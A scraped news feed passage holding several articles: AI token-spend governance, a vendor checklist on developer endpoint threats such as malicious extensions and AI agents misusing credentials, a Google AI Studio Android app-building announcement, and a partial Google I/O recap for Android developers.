<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
        </tr>
    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[17 Things to know for Android developers at Google I/O]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP, Product Management, Android DeveloperToday at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcemen...]]></description>
<link>https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:45 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7OJeCTRC-RN9j39-rULmU26qB-lZoyIZjjDrq07Z7b5GsfHz3q18ftSgcWReGBgIBkp03B6BVghzWllOC38o4jckzzq-e4a8R23ISeegev98zubhGXbIzhTZaqbCTaPLJC2zkxKYvvNspcM4yXkk94f6PEQHpdyMvlpwogicTWQRn3GEksJHOTQDIG4/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><div class="separator"><div class="separator"><i>Posted by Matthew McCullough, VP, Product Management, Android Developer</i></div></div></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><div><br></div>Today at <a href="https://io.google/2026/">Google I/O,</a> we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also <a href="https://www.youtube.com/live/KvTRMSa1w4E?si=QBAxNvihPwJCJUuS">see what was announced last week</a> in <a href="https://developer.android.com/events/show">The Android Show: I/O Edition</a>. Stay tuned over the next two days as we dive into all of the topics in more detail!<h2><strong><span>Build High Quality Android Apps Using Agents</span></strong></h2>

  <h3><strong><span>1: Android CLI: helping you build with any agent, LLM, and tool</span></strong></h3>
  <a href="https://goo.gle/CLI_IO26">Android CLI is now stable</a>. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new <a href="https://developer.android.com/tools/agents/android-skills">Android skills</a>, which enables agents to execute end-to-end UI tests under your direction. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.    <p><span></span></p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrW3yDK9uH_I8MDyVxgYbPAXfrNTJvlMkXhaZFrM1X9ob0LvQbGe_ZC6anUeO_VNd181iptI_MIuEEpX-9GZdf6ZTJCN-WHpPzDCLOeSblo8vrjliSZ0rRrHwIsERWBjbbosP-M_WvA2pva9mF5FWVygAwQbdiW3SLZgJj9TpRIruG4H-ILsvSq_b4dc/w640-h442/agy-android-cli%20(2).png"></div><div class="separator"><span><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></span></div><p></p>

  <h3><strong><span>2: Build production-ready apps with ease in Google AI Studio</span></strong></h3>
  Developers and creators can now <a href="http://android-developers.googleblog.com/2026/05/build-android-apps-google-ai-studio.html">build native Android apps, simply with a prompt in Google AI Studio</a>. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.<br><br><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdRaw1v6rolr4alo0C6AWKdFchsMEQgtOGfmk2Ramb0IoOB7smDcVU3yC7YJMkvVQuCPJ9vQW53tQjaV-5wcgOGzMtFDmb_Jbv40an1kvQdqYburXnsONvLqckKL2MWuShi3XmQEstW761oOLjujOk3FMsh3FyAiy5-Pe7xdTwFdfkWOmEnHhQfUJhtCo/w640-h544/image1.gif"></div><i><div class="separator"><i>Use the embedded Android Emulator to create Android apps in Google AI Studio</i></div></i></div><h2><strong><span>3: Accelerating AI coding assistance with Android Bench</span></strong></h2>
  <a href="http://d.android.com/bench">Android Bench</a> is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. <h3><strong><span>4: Convert iOS apps to Android with the Migration Assistant in Android Studio</span></strong></h3>
  The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>. </div><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK7UKI_nzS7gOkDXYONAjCNbQ4eSqlgT8qqMT5D4qf0OjQUNtxj4Urpq-eTROMEDgrqLKGlwMm_lHA7ayG_BC1DkitQI1ZKsF5gYr-mPIxFUsz_8JPcVHFAtnHZoO2CrVjMEvJrqvBz8_WU1I0T1P2diDprR2B47PcA21oS3RLtbgrhmrpiWV-MAw9ks4/w640-h360/image9%20(1).gif"></div><div class="separator"><i>A sneak peek of the Migration Assistant converting an iOS app into a native Android app</i></div>

  <h2><strong><span>Building AI Into Your Apps</span></strong></h2>

  <h3><strong><span>5: Building Intelligent Apps with generative AI</span></strong></h3>
  Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new <a href="https://goo.gle/ADK_IO26">Agent Development Kit (ADK) for Android</a>, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the <a href="https://developer.android.com/ai">developer documentation</a>, and watch the technical deep dive session where we showcase all these technologies.

  <h3><strong><span>6: Experiment with AppFunctions today</span></strong></h3>
  AppFunctions is an <a href="https://developer.android.com/reference/android/app/appfunctions/package-summary">Android platform API</a> with an accompanying <a href="https://developer.android.com/jetpack/androidx/releases/appfunctions">Jetpack library</a> to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the <a href="http://goo.gle/eap-af">Early Access Program</a> and start experimenting using the <a href="http://d.android.com/ai/appfunctions">API guidance</a>, <a href="https://github.com/android/appfunctions">sample</a>, and <a href="https://github.com/android/skills/blob/main/device-ai/appfunctions/SKILL.md">skill</a> today.

  <h2><strong><span>The Future is Adaptive</span></strong></h2>

  <h3><strong><span>7: Android is now Compose First; Views are now in maintenance mode.</span></strong></h3>
